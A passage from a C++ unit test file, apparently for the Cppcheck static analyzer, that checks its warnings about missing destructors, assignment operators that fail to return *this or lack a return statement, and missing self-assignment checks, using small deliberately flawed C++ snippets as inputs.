~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & 